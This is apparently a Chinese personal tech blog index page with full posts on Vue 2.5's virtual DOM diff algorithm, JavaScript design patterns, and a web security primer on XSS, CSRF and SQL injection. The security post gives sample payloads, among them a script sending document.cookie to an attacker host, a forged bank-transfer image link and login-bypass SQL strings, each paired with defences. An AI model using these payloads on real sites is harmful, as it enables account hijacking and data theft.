Jeffery

人无远虑、必有近忧

  • 主页
  • 随笔
  • 技术
  • 相册
  • 关于
所有文章 友链 关于我

Jeffery

人无远虑、必有近忧

  • 主页
  • 随笔
  • 技术
  • 相册
  • 关于

聊聊vue2.5的patch过程(diff算法)

阅读数:0次 2019-04-09

简介

Vue2.0开始,引入了Virtual Dom,了解diff过程可以让我们更高效的使用框架,必要时可以进行手工优化,本文针对的是Vue2.5.7版本中的Virtual Dom进行分析,力求以图文并茂的方式来分析diff的过程。

其中patch过程中所用到的diff算法来源于snabbdom

PS: 如有不对之处,还望指正。

什么是VNode?

我们知道,浏览器中真实的DOM节点对象上的属性和方法比较多,如果每次都生成新的DOM对象,对性能是一种浪费,在这种情况下,Virtual Dom出现了,而VNode是用来模拟真实DOM节点,即把真实DOM树抽象成用JavaScript对象构成的抽象树,从而可以对这颗抽象树进行创建节点、删除节点以及修改节点等操作,在这过程中都不需要操作真实DOM,只需要操作JavaScript对象,当数据发生改变时,在改变真实DOM节点之前,会先比较相应的VNode的的数据,如果需要改变,才更新真实DOM,大大提升了性能。同时VNode不依赖平台。

具体可以通过以下代码查看标准DOM对象上的方法和属性

1
2
3
4
const dom = document.createElement('div');
for (let key in dom) {
console.log(key)
}

VNode构造函数具体结构如下(具体见源码):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
export default class VNode {
tag: string | void;
data: VNodeData | void;
children: ?Array<VNode>;
text: string | void;
elm: Node | void;
ns: string | void;
context: Component | void; // rendered in this component's scope
key: string | number | void;
componentOptions: VNodeComponentOptions | void;
componentInstance: Component | void; // component instance
parent: VNode | void; // component placeholder node

// strictly internal
raw: boolean; // contains raw HTML? (server only)
isStatic: boolean; // hoisted static node
isRootInsert: boolean; // necessary for enter transition check
isComment: boolean; // empty comment placeholder?
isCloned: boolean; // is a cloned node?
isOnce: boolean; // is a v-once node?
asyncFactory: Function | void; // async component factory function
asyncMeta: Object | void;
isAsyncPlaceholder: boolean;
ssrContext: Object | void;
fnContext: Component | void; // real context vm for functional nodes
fnOptions: ?ComponentOptions; // for SSR caching
fnScopeId: ?string; // functional scope id support
}

mounted过程都发生了什么?

在了解patch过程之前,先来大概了解下mounted过程,我们知道,Vue最终会调用$mounted方法来进行挂载。
一般来说,Vue有两条渲染路径,分别对应生命周期中mounted和updated两个钩子函数,分别如下:

 1)组件实例初始化创建生成DOM

在该过程时,初始的Vnode为一个真实的DOM节点或者undefined(创建组件)

$mounted => mountComponent => updateComponent => _render => _update => patch => createElm => nodeOps.insert => removeVnodes

 1)组件数据更新时更新DOM

在该过程,初始化Vnode为之前的prevVnode,不是真实DOM节点

flushSchedulerQueue => watcher.run => watcher.get => updateComponent => _render => _update => patch => patchVnode => updateChildren

其中,_render函数内部则是调用createElement方法将渲染函数转为VNode,而_update函数则是在内部调用patch方法将VNode转化为真实的DOM节点。

createElement和patch过程是一个深度遍历过程,也就是”先子后父”,即先调用子类的mounted或updated钩子方法,在调用父类的该钩子。

附上一张\$mounted流程图:

\$mounted过程

patch原理分析

patch过程也是一个深度遍历过程,比较只会在同层级进行,不会跨层级比较,借用一篇相当经典的文章
React’s diff algorithm中的图,图能很好的解释该过程,如下:

React’s diff algorith
patch接收6个参数,其中两个主要参数是vnode和oldVnode,也就是新旧两个虚拟节点,下面详细介绍下patch过程

1、patch逻辑

1、如果vnode不存在,而oldVnode存在,则调用invodeDestoryHook进行销毁旧的节点

2、如果oldVnode不存在,而vnode存在,则调用createElm创建新的节点

3、如果oldVnode和vnode都存在

 1)如果oldVnode不是真实节点且和vnode是相同节点(调用sameVnode比较),则调用patchVnode进行patch

 2)如果oldVnode是真实DOM节点,则先把真实DOM节点转为Vnode,再调用createElm创建新的DOM节点,并插入到真实的父节点中,同时调用removeVnodes将旧的节点从父节点中移除。

2、patchVnode逻辑

1、如果vnode和oldVnode完全一致,则什么都不做处理,直接返回

2、如果oldVnode和vnode都是静态节点,且具有相同的key,并且当vnode是克隆节点或是v-once指令控制的节点时,只需要把oldVnode的elm和oldVnode.children都复制到vnode上即可

3、如果vnode不是文本节点或注释节点

 1)如果vnode的children和oldVnode的children都存在,且不完全相等,则调用updateChildren更新子节点

 2)如果只有vnode存在子节点,则调用addVnodes添加这些子节点

 3)如果只有oldVnode存在子节点,则调用removeVnodes移除这些子节点

 4)如果oldVnode和vnode都不存在子节点,但是oldVnode为文本节点或注释节点,则把oldVnode.elm的文本内容置为空

4、如果vnode是文本节点或注释节点,并且vnode.text和oldVnode.text不相等,则更新oldVnode的文本内容为vnode.text

3、updateChildren逻辑

updateChildren方法主要通过while循环去对比2棵树的子节点来更新dom,通过对比新的来改变旧的,以达到新旧统一的目的。

1、如果oldStartVnode不存在,则将oldStartVnode设置为下一个节点

2、如果oldEndVnode不存在,则将oldEndVnode设置为上一个节点

3、如果oldStartVnode和newStartVnode是同一个节点(sameVnode),则调用patchVnode进行patch重复流程,同时将oldStartVnode和newStartVnode设置为下一个节点

4、如果oldEndVnode和newEndVnode是同一个节点(sameVnode),则调用patchVnode进行patch重复流程,同时将oldEndVnode和newEndVnode设置为上一个节点

5、如果oldStartVnode和newEndVnode是同一个节点(sameVnode),则调用patchVnode进行patch重复流程,同时将oldStartVnode设置为下一个节点,newEndVnode设置为上一个节点,需要对DOM进行移动

6、如果oldEndVnode和newStartVnode是同一个节点(sameVnode),则调用patchVnode进行patch重复流程,同时将oldEndVnode设置为上一个节点,newStartVnode设置为下一个节点,需要对DOM进行移动

7、否则,尝试在oldChildren中查找与newStartVnode具有相同key的节点

 1)如果没有找到,则说明newStartVnode是一个新节点,则调用createElem创建一个新节点,同时将newStartVnode设置为下一个节点

 2)如果找到了具有相同key的节点

  (1)如果找到的节点与newStartVnode是同一个节点(sameVnode),则调用patchVnode进行patch重复流程,同时把newStartVnode.elm移动到oldStartVnode.elm之前,并把newStartVnode设置为下一个节点,需要对DOM进行移动

  (2)否则,调用createElm创建一个新的节点,同时把newStartVnode设置为下一个节点

上述过程中,如果oldStartIdx <= oldEndIdx && newStartIdx <= newEndIdx,即oldChildren和newChildren节点在遍历过程中如果任意一个的开始索引和结束索引重合,则表明遍历结束。

遍历结束后,还需针对oldChildren和newChildren没有遍历的节点进行处理,分为以下两种情况:

1)如果oldStartIdx大于oldEndIdx,说明newChildren可能还未遍历完,则需要调用addVnodes添加newStartIdx到newEndIdx之间的节点

2)如果newStartIdx大于newEndIdx,说明oldChildren可能还未遍历完,则需要调用removeVnodes移除oldStartIdx到oldEndIdx之间的节点

附上一张流程图:

patch过程
针对以上过程,对其中的各个情况都分别简单举个例子,进行分析,可以自行debugger

情况一:oldStartVnode和newStartVnode是相同节点

情况一
情况二:oldEndVnode和newEndVnode是相同节点

情况二
情况三:oldStartVnode和newEndVnode是相同节点

情况三
情况四:oldEndVnode和newStartVnode是相同节点

情况四
情况五:oldStartVnode、oldEndVnode、newStartVnode和newEndVnode都不是相同节点

情况五
附上总图:

总图

小结

1、不设key,newCh和oldCh只会进行头尾两端的相互比较,设key后,除了头尾两端的比较外,还会从用key生成的对象oldKeyToIdx中查找匹配的节点,所以为节点设置key可以更高效的利用dom。

2、diff的遍历过程中,只要是对dom进行的操作都调用nodeOps.insertBefore,nodeOps.insertBefore只是原生insertBefore的简单封装。

比较分为两种,一种是有vnode.key的,一种是没有的。但这两种比较对真实dom的操作是一致的。

3、对于与sameVnode(oldStartVnode, newStartVnode)和sameVnode(oldEndVnode,newEndVnode)为true的情况,不需要对dom进行移动。

  • vue
  • vnode
  • patch
  • diff

展开全文 >>

常见的Web安全及其攻防姿势

阅读数:0次 2019-04-01

总结一下Web相关的安全攻防知识,让自己对这个知识点多一点了解,下面来聊聊Web中最常见的几种安全问题,包括攻击类型、原理以及怎样防御等。

1、XSS漏洞

XSS(Cross Site Scripting)跨站脚本攻击,为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者利用网站没有对用户提交数据进行转义处理或者过滤不足的缺点,往Web页面中插入了恶意的script代码,当用户浏览该页面时,嵌入Web页面中的script代码便会执行,从而达到恶意攻击用户的目的。

原因:过于信任客户端提交的数据。
XSS攻击也可以简单分为两种,一种是利用url引诱客户点击来实现;另一种是通过存储到数据库,在其它用户获取相关信息时来执行脚本。

 1)非持久型XSS(反射型XSS)

主要通过利用系统反馈行为漏洞,并欺骗用户主动触发,从而发起Web攻击,如盗取用户信息或其他侵犯用户隐私安全等,一般是通过别人发送的带有恶意脚本代码参数的URL,当URL地址被打开时,特有的恶意代码参数会被HTML解析、执行。一般容易出现在搜索页面。

过程图如下:
非持久型XSS过程
e.g1:

正常发送消息:

www.test.com/message.php?send=Hello,World!

接收者将会接收信息并显示Hello,Word

非正常发送消息:

www.test.com/message.php?send=!

接收者接收消息显示的时候将会弹出警告窗口

e.g2:

如果某网站上页面中有一个文本框,输入后作为参数跳转另一个地址:

1
<input type="text" name='keywords' value="">

在页面上输入如下代码:<script>window.location.href=’www.xss.com?cookie=' + document.cookie</script>

或者直接让用户访问该网站地址,而keywords参数为”\<script\>window.location.href=’www.xss.com?cookie=' + document.cookie\</script\>”

如果受骗的用户刚好已经登录过该网站,那么,用户的登录cookie信息就已经发到了攻击者的服务器(xss.com)了。

如何防范:

1)只允许用户输入我们期望的数据。

2)Web页面渲染的所有内容或者渲染的数据都必须来自于服务端,不要信任用户的输入内容。

3)尽量不要使用eval, new Function()等可执行字符串的方法。

4)前端渲染的时候对任何的字段都需要做encode转义编码。

5)过滤或移除特殊的Html标签。

6)将重要的cookie标记为http only。

 2)持久型XSS(储存型XSS)

存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie(虽然还有种DOM型XSS,但是也还是包括在存储型XSS内),不需要诱骗用户点击。

e.g:

留言板表单中的表单域:

1
<input type=“text” name=“content” value=“这里是用户填写的数据”>

正常操作:

用户是提交相应留言信息;将数据存储到数据库;其他用户访问留言板,应用去数据并显示。

非正常操作:

攻击者在value填写<script>alert(‘foolish!’)</script>;

将数据存储到数据库中;

其他用户取出数据显示的时候,将会执行这些攻击性代码。

如何防范:

1)后端在入库前应该选择不相信任何前端数据,将所有的字段统一进行转义处理。

2)后端在输出给前端数据统一进行转义处理。

3)前端在渲染页面 DOM 的时候应该选择不相信任何后端数据,任何字段都需要做转义处理。

如何防范:对于一切用户的输入、输出、客户端的输出内容视为不可信,只要是客户端提交的数据就应该先进行相应的过滤处理然后方可进行下一步的操作。

2、CSRF攻击

CSRF(Cross-site request forgery)跨站请求伪造,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。但往往同XSS一同作案!

例如,当用户登录网络银行去查看其存款余额,在他没有退出时,就点击了一个QQ好友发来的链接,那么该用户银行帐户中的资金就有可能被转移到攻击者指定的帐户中。

CSRF攻击必须要有三个条件 :

1)用户已经登录了站点A,并在本地记录了cookie。

2)在用户没有登出站点A的情况下(也就是cookie生效的情况下),访问了恶意攻击者提供的引诱危险站点B(B站点要求访问站点A)。

3)站点A没有做任何CSRF防御。

过程图如下:
CSRF攻击过程
e.g1:

一论坛网站的发贴是通过 GET 请求访问,点击发贴之后 JS 把发贴内容拼接成目标 URL 并访问:
example.com/bbs/create_post.php?title=标题&content=内容

那么,我只需要在论坛中发一帖,包含一链接:
example.com/bbs/create_post.php?title=我是脑残&content=哈哈

只要有用户点击了这个链接,那么他们的帐户就会在不知情的情况下发布了这一帖子。可能这只是个恶作剧,但是既然发贴的请求可以伪造,那么删帖、转帐、改密码、发邮件全都可以伪造。
e.g2:

银行网站A,它以GET请求来完成银行转账的操作,如:www.mybank.com/Transfer.php?toBankId=11&money=1000
危险网站B,它里面有一段HTML的代码如下

1
<img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>

首先,你登录了银行网站A,然后访问危险网站B,噢,这时你会发现你的银行账户少了1000块……

为什么会这样呢?原因是银行网站A违反了HTTP规范,使用GET请求更新资源。在访问危险网站B的之前,你已经登录了银行网站A,而B中的以GET的方式请求第三方资源(这里的第三方就是指银行网站了,原本这是一个合法的请求,但这里被不法分子利用了),所以你的浏览器会带上你的银行网站A的Cookie发出Get请求,去获取资源www.mybank.com/Transfer.php?toBankId=11&money=1000,结果银行网站服务器收到请求后,认为这是一个更新资源操作(转账操作),所以就立刻进行转账操作......

为了杜绝上面的问题,银行决定改用POST请求完成转账操作,如果银行后台使用了$_REQUEST去获取请求的数据,而危险网站B,仍然只是包含那句一模一样的HTML代码,结果你的银行账户依然少了1000块。

原因是银行后台使用了\$_REQUEST去获取请求的数据,而\$_REQUEST既可以获取GET请求的数据,也可以获取POST请求的数据,这就造成了在后台处理程序无法区分这到底是GET请求的数据还是POST请求的数据。在PHP中,可以使用\$_GET和\$_POST分别获取GET请求和POST请求的数据。在JAVA中,用于获取请求数据request一样存在不能区分GET请求数据和POST数据的问题。

如何防范:
在业界目前防御CSRF攻击主要有三种策略:验证HTTP Referer字段;在请求地址中添加token并验证;在HTTP头中自定义属性并验证。同时尽量使用POST,限制GET。下面就分别对这三种策略进行详细介绍:

1)验证HTTP Referer字段

利用HTTP头中的Referer判断请求来源是否合法。

优点:简单易行,只需要在最后给所有安全敏感的请求统一增加一个拦截器来检查 Referer 的值就可以。特别是对于当前现有的系统,不需要改变当前系统的任何已有代码和逻辑,没有风险,非常便捷。

缺点:

(1)Referer 的值是由浏览器提供的,不可全信,低版本浏览器下Referer存在伪造风险。

(2)用户自己可以设置浏览器使其在发送请求时不再提供Referer时,网站将拒绝合法用户的访问。

2)在请求地址中添加token并验证

在请求中放入黑客所不能伪造的信息,并且该信息不存在于cookie之中,以HTTP请求参数的形式加入一个随机产生的token交由服务端验证。

优点:比检查Referer要安全一些,并且不涉及用户隐私。

缺点:对所有请求都添加token比较困难,难以保证token本身的安全,依然会被利用获取到token。

3)在HTTP头中自定义属性并验证+One-Time Tokens

将token放到HTTP头中自定义的属性里。通过XMLHttpRequest的异步请求交由后端校验,并且一次有效。

优点:统一管理token输入输出,可以保证token的安全性。

缺点:有局限性,无法在非异步的请求上实施。

3、SQL注入

通过将外部的输入直接嵌入到需要执行的SQL语句中,从而可能获取数据库中的敏感信息,或者利用数据库的特性执行一些恶意操作,甚至可能会获取数据库乃至系统用户的最高权限。

原因:程序没有转义过滤用户输入的内容,导致攻击者可以向服务器提交恶意的代码,从而使得程序在执行SQL语句时,将攻击者输入的代码作为SQL语句的一部分执行,导致原逻辑被改变,执行了攻击者的恶意代码。

例如:

1
$sql = "select * from user where id=".$id;

上面的例子是查询某个信息,服务端直接用用户输入的变量\$id来拼接SQL语句,而执行该语句,存在安全隐患,如果$id=’2 or 1==1’,便能轻易的获取user表的任意信息。

e.g1:

比如,我们要访问某一个帖子的信息,会通过调用类似于https://www.xxx.xx/news/read?pid=50这样的接口来获取信息,这样的话可能就会导致SQL注入,通过上面的地址可以推断出服务端中执行的SQL是:

1
select * from [表名] where pid=50;

如果我们在参数后面拼接上一些其他的信息作为参数一部分,便可能导致SQL数据发生改变,如添加” and 1=2”后SQL语句将变为:

1
select * from [表名] where pid=50 and 1=2; // 1=2不成立

从而会导致返回出错。

e.g2:

再比如,在一个登陆界面中,需要传入用户名和密码进行登录验证,正常情况下,传给服务端的用户名和密码数据被合成到SQL查询语句中后应该是这样的:

1
select * from users where username=[用户名] and password=md5([密码])

此时,如果用户在用户名中输入” or 1=1#”,密码随便输入,便可以登录。因为此时的SQL语句为:

1
select * from users where username=" or 1=1#" and password=md5("")

而”#”在mysql中是注释符,这样#号后面的内容将被mysql视为注释内容,这样就不会去执行了,换句话说,以下的两句sql语句等价:

1
select * from users where username='' or 1=1

因为1=1永远都是成立的,即where子句总是为真,将该sql进一步简化之后,等价如下select语句:

1
select * from users

导致的最终结果是该sql语句的作用是检索users表中的所有字段,从而能够登录成功。
如何防范:对用户输入的那些变量进行优化过滤,不要信任用户传入的数据。

小结一下

XSS攻击的本质就是,利用一切手段在目标用户的浏览器中执行攻击脚本,而CSRF则是攻击者盗用了你的身份,以你的名义发送恶意请求。
因此,不管是客户端还是服务端,都不要信任双方传来的数据,最好都进行过滤转义等处理,总之,绝不可以信任任何客户端提交的数据!!!

  • web
  • web安全

展开全文 >>

JavaScript设计模式总结

阅读数:0次 2019-03-25

之前看过《JavaScript设计模式与开发实践》这本书,对书中的设计模式和一些相关案例也有了一定的了解,同时把这些设计模式的应用对应在在一些其他的项目中,进行了一些整理,如下仅供参考:

补充:如果以下内容有什么不对的地方,欢迎指正。

设计模式目的

设计模式是为了更好的代码重用性,可读性,可靠性,可维护性。

设计六大原则

1)单一职责原则

2)里氏替换原则

3)依赖倒转原则

4)接口隔离原则

5)迪米特法则(最少知识原则)

6)开放封闭原则

设计模式分类

总体来说设计模式分为三大类:

创建型模式,共五种:工厂方法模式、抽象工厂模式、单例模式、建造者模式、原型模式。

结构型模式,共七种:适配器模式、装饰器模式、代理模式、外观模式、桥接模式、组合模式、享元模式。

行为型模式,共十一种:策略模式、模板方法模式、观察者模式、迭代子模式、责任链模式、命令模式、备忘录模式、状态模式、访问者模式、中介者模式、解释器模式。

其实还有两类:并发型模式和线程池模式。

不过,对于前端来说,有的设计模式在平时工作中几乎用不到或者很少用到,来来来,来了解下前端常见的设计模式

JS中的设计模式

常见设计模式:

1、工厂模式

常见的实例化对象模式,工厂模式就相当于创建实例对象的new,提供一个创建对象的接口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// 某个需要创建的具体对象
class Product {
constructor (name) {
this.name = name;
}
init () {}
}
// 工厂对象
class Creator {
create (name) {
return new Product(name);
}
}
const creator = new Creator();
const p = creator.create(); // 通过工厂对象创建出来的具体对象

应用场景:JQuery中的$、Vue.component异步组件、React.createElement等

2、单例模式

保证一个类仅有一个实例,并提供一个访问它的全局访问点,一般登录、购物车等都是一个单例。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// 单例对象
class SingleObject {
login () {}
}
// 访问方法
SingleObject.getInstance = (function () {
let instance;
return function () {
if (!instance) {
instance = new SingleObject();
}
return instance;
}
})()
const obj1 = SingleObject.getInstance();
const obj2 = SingleObject.getInstance();
console.log(obj1 === obj2); // true

应用场景:JQuery中的$、Vuex中的Store、Redux中的Store等

3、适配器模式

用来解决两个接口不兼容问题,由一个对象来包装不兼容的对象,比如参数转换,允许直接访问

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
class Adapter {
specificRequest () {
return '德国标准插头';
}
}
// 适配器对象,对原来不兼容对象进行包装处理
class Target {
constructor () {
this.adapter = new Adapter();
}
request () {
const info = this.adapter.specificRequest();
console.log(`${info} - 转换器 - 中国标准插头`)
}
}
const target = new Target();
console.log(target.request()); // 德国标准插头 - 转换器 - 中国标准插头

应用场景:Vue的computed、旧的JSON格式转换成新的格式等

4、装饰器模式

在不改变对象自身的基础上,动态的给某个对象添加新的功能,同时又不改变其接口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
class Plane {
fire () {
console.log('发送普通子弹');
}
}
// 装饰过的对象
class Missile {
constructor (plane) {
this.plane = plane;
}
fire () {
this.plane.fire();
console.log('发射导弹');
}
}
let plane = new Plane();
plane = new Missile(plane);
console.log(plane.file()); // 依次打印 发送普通子弹 发射导弹

利用AOP给函数动态添加功能,即Function的after或者before

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
Function.prototype.before = function (beforeFn) {
const _self = this;
return function () {
beforeFn.apply(this, arguments);
return _self.apply(this, arguments);
}
}

Function.prototype.after = function (afterFn) {
const _self = this;
return function () {
const ret = _self.apply(this, arguments);
afterFn.apply(this, arguments);
return ret;
}
}

let func = function () {
console.log('2');
}

func = func.before(function() {
console.log('1');
}).after(function() {
console.log('3');
})

func();
console.log(func()); // 依次打印 1 2 3

应用场景:ES7装饰器、Vuex中1.0版本混入Vue时,重写init方法、Vue中数组变异方法实现等

5、代理模式

为其他对象提供一种代理,便以控制对这个对象的访问,不能直接访问目标对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
class Flower {}
// 源对象
class Jack {
constructor (target) {
this.target = target;
}
sendFlower (target) {
const flower = new Flower();
this.target.receiveFlower(flower)
}
}
// 目标对象
class Rose {
receiveFlower (flower) {
console.log('收到花: ' + flower)
}
}
// 代理对象
class ProxyObj {
constructor () {
this.target = new Rose();
}
receiveFlower (flower) {
this.sendFlower(flower)
}
sendFlower (flower) {
this.target.receiveFlower(flower)
}
}
const proxyObj = new ProxyObj();
const jack = new Jack(proxyObj);
jack.sendFlower(proxyObj); // 收到花:[object Object]

应用场景:ES6 Proxy、Vuex中对于getters访问、图片预加载等

6、外观模式

为一组复杂的子系统接口提供一个更高级的统一接口,通过这个接口使得对子系统接口的访问更容易,不符合单一职责原则和开放封闭原则

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
 class A {
eat () {}
}
class B {
eat () {}
}
class C {
eat () {
const a = new A();
const b = new B();
a.eat();
b.eat();
}
}
// 跨浏览器事件侦听器
function addEvent(el, type, fn) {
if (window.addEventListener) {
el.addEventListener(type, fn, false);
} else if (window.attachEvent) {
el.attachEvent('on' + type, fn);
} else {
el['on' + type] = fn;
}
}

应用场景:JS事件不同浏览器兼容处理、同一方法可以传入不同参数兼容处理等

7、观察者模式

定义对象间的一种一对多的依赖关系,当一个对象的状态发生改变时,所有依赖于它的对象都将得到通知

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
   class Subject {
constructor () {
this.state = 0;
this.observers = [];
}
getState () {
return this.state;
}
setState (state) {
this.state = state;
this.notify();
}
notify () {
this.observers.forEach(observer => {
observer.update();
})
}
attach (observer) {
this.observers.push(observer);
}
}


class Observer {
constructor (name, subject) {
this.name = name;
this.subject = subject;
this.subject.attach(this);
}
update () {
console.log(`${this.name} update, state: ${this.subject.getState()}`);
}
}

let sub = new Subject();
let observer1 = new Observer('o1', sub);
let observer2 = new Observer('o2', sub);

sub.setState(1);

观察者模式与发布/订阅模式区别: 本质上的区别是调度的地方不同

虽然两种模式都存在订阅者和发布者(具体观察者可认为是订阅者、具体目标可认为是发布者),但是观察者模式是由具体目标调度的,而发布/订阅模式是统一由调度中心调的,所以观察者模式的订阅者与发布者之间是存在依赖的,而发布/订阅模式则不会。

—观察者模式:目标和观察者是基类,目标提供维护观察者的一系列方法,观察者提供更新接口。具体观察者和具体目标继承各自的基类,然后具体观察者把自己注册到具体目标里,在具体目标发生变化时候,调度观察者的更新方法。

比如有个“天气中心”的具体目标A,专门监听天气变化,而有个显示天气的界面的观察者B,B就把自己注册到A里,当A触发天气变化,就调度B的更新方法,并带上自己的上下文。

—发布/订阅模式:订阅者把自己想订阅的事件注册到调度中心,当该事件触发时候,发布者发布该事件到调度中心(顺带上下文),由调度中心统一调度订阅者注册到调度中心的处理代码。

比如有个界面是实时显示天气,它就订阅天气事件(注册到调度中心,包括处理程序),当天气变化时(定时获取数据),就作为发布者发布天气信息到调度中心,调度中心就调度订阅者的天气处理程序。

应用场景:JS事件、JS Promise、JQuery.$CallBack、Vue watch、NodeJS自定义事件,文件流等

8、迭代器模式

提供一种方法顺序访问一个聚合对象中各个元素, 而又无须暴露该对象的内部表示

可分为:内部迭代器和外部迭代器

内部迭代器: 内部已经定义好迭代规则,外部只需要调用一次即可。

1
2
3
4
5
6
7
const each = (args, fn) => {
for (let i = 0, len = args.length; i < len; i++) {
const value = fn(args[i], i, args);

if (value === false) break;
}
}

应用场景: JQuery.each方法
外部迭代器:必须显示的请求迭代下一个元素。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// 迭代器
class Iterator {
constructor (list) {
this.list = list;
this.index = 0;
}
next () {
if (this.hasNext()) {
return this.list[this.index++]
}
return null;
}
hasNext () {
if (this.index === this.list.length) {
return false;
}
return true;
}
}
const arr = [1, 2, 3, 4, 5, 6];
const ite = new Iterator();

while(ite.hasNext()) {
console.log(ite.next()); // 依次打印 1 2 3 4 5 6
}

应用场景:JS Iterator、JS Generator

9、状态模式

关键是区分事物内部的状态,事物内部状态往往会带来事物的行为改变,即允许对象在内部状态发生改变时改变它的行为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
// 红灯
class RedLight {
constructor (state) {
this.state = state;
}
light () {
console.log('turn to red light');
this.state.setState(this.state.greenLight)
}
}
// 绿灯
class greenLight {
constructor (state) {
this.state = state;
}
light () {
console.log('turn to green light');
this.state.setState(this.state.yellowLight)
}
}
// 黄灯
class yellowLight {
constructor (state) {
this.state = state;
}
light () {
console.log('turn to yellow light');
this.state.setState(this.state.redLight)
}
}
class State {
constructor () {
this.redLight = new RedLight(this)
this.greenLight = new greenLight(this)
this.yellowLight = new yellowLight(this)
this.setState(this.redLight) // 初始化为红灯
}
setState (state) {
this.currState = state;
}
}
const state = new State();
state.currState.light() // turn to red light
setInterval(() => {
state.currState.light() // 每隔3秒依次打印红灯、绿灯、黄灯
}, 3000)

应用场景:灯泡状态、红绿灯切换等

其他设计模式:

10、命令模式

11、组合模式

12、享元模式

13、策略模式

14、职责链模式

15、模板方法模式

16、中介者模式

17、备忘录模式

18、访问者模式

19、解释器模式

20、桥接模式

其他设计模式请移步:https://github.com/jefferyE

更多设计模式,具体请参考:https://www.runoob.com

  • javascript
  • design
  • 设计模式

展开全文 >>

vue分析之template模板解析AST

阅读数:0次 2018-06-29

通过查看vue源码,可以知道Vue源码中使用了虚拟DOM(Virtual Dom),虚拟DOM构建经历 template编译成AST语法树 -> 再转换为render函数 最终返回一个VNode(VNode就是Vue的虚拟DOM节点) 。
本文通过对Vue源码中的AST转化部分进行简单提取,返回静态的AST结构(不考虑兼容性及属性的具体解析)。并最终根据一个实例的template转化为最终的AST结构。
more >>

  • javascript
  • vue
  • template
  • AST
  • 源码

展开全文 >>

Nodejs开发简单的脚手架工具

阅读数:0次 2018-06-11

脚手架,这个名词对于作为前端的我们来说,也许并不陌生吧,像vue-cli,react-native-cli等,全局安装后,只需要在命令行中敲入一个简单的命令,便可帮我们快速的生成一个初始项目,如vue init webpack projectName,即可生成一个初始的vue项目。
本文主要是介绍开发一个简单的脚手架,了解开发的基本流程、最终通过npm link链接到全局包。
more >>

  • cli
  • javascript
  • nodejs

展开全文 >>

readline模块的使用

阅读数:0次 2018-05-22

什么是readline

readline允许从可读流中以逐行的方式读取数据,比如process.stdin等。
在node.js命令行模式下默认引入了readline模块,但如果是使用node.js运行脚本的话,则需要自己通过require(‘readline’)方式手动引入该模块。

怎么使用readline

more >>
  • nodejs
  • readline

展开全文 >>

path模块的使用

阅读数:0次 2018-05-22

path模块包含一系列处理和转换文件路径的工具集,通过 require(‘path’) 可用来访问这个模块。
知识点:对window系统,目录分隔为’\’, 对于UNIX系统,分隔符为’/‘,针对’..’返回上一级,发现多个斜杠或反斜杠时会替换成一个,/,//,\与\都被统一转换为\
more >>

  • nodejs
  • path

展开全文 >>

记录·苏州之行

阅读数:0次 2018-05-17

  不得不说,时间过得真的很快,转眼间已周五,离上周苏州之行也已近一周,一直以来,我都很少写博客,也许这是第一篇生活记录类博客,也正好借此记录下此次的苏州之行,给以后有此类想法的朋友一些借鉴,虽说我不是那种习惯性经常写此类博客的人,但是偶尔抽空记录下生活,还是很有必要的,也是一种意义,我个人觉得,虽不说可以做到“下笔如有神”,但也不失为一种生活方式的体现,亦是一种生活态度。
more >>

  • 苏州
  • 旅行
  • 风景

展开全文 >>

vue插件之轮播

阅读数:0次 2018-05-17

前段时间,正好在vue项目中需要用到文字的无缝滚动,而在github或npm中没有找到合适的插件,有的没有演示,有的不符合需求,最后还是自己手动撸了一个。虽然花了不少时间,但对我自身而言,也是一种成长,熟悉了怎么在npm发布包的流程,下面简单介绍下自己撸的插件的一些配置及使用方法。
more >>

  • vue
  • 插件
  • 轮播
  • 滚动

展开全文 >>

正则表达式之量词

阅读数:0次 2018-05-04

  我们知道,在正则表达式中,可以使用[0-9]或\d来匹配单个数字字符,但是,如果需要验证一个更复杂的字符串呢,比如大陆地区的邮政编码。
  不过邮政编码并没有特别规定,只有由6个数字组成的字符串而已, 如246512,根据[0-9]或\d,我们可以很快的实现匹配的正则表达式,\d\d\d\d\d\d。
  从上可以看出,我们重复用了6个单个字符来实现匹配,由于目前数字较少,看着还可以接受,那如果不是6个数字组成的,10个?20个?甚至是更多呢,显然这种方式是不行的,正则表达式提供了量词,用来限定出现的次数,可以很好解决这个问题。

more >>
  • 正则表达式
  • 量词
  • 贪婪模式
  • 惰性模式

展开全文 >>

12Next »
© 2019 Jeffery
Hexo Theme Yilia by Litten
  • 所有文章
  • 友链
  • 关于我

tag:

  • cli
  • javascript
  • nodejs
  • design
  • 设计模式
  • readline
  • vue
  • path
  • template
  • AST
  • 源码
  • 插件
  • 轮播
  • 滚动
  • welcome
  • intoduction
  • web
  • web安全
  • vnode
  • patch
  • diff
  • 正则表达式
  • 量词
  • 贪婪模式
  • 惰性模式
  • 苏州
  • 旅行
  • 风景
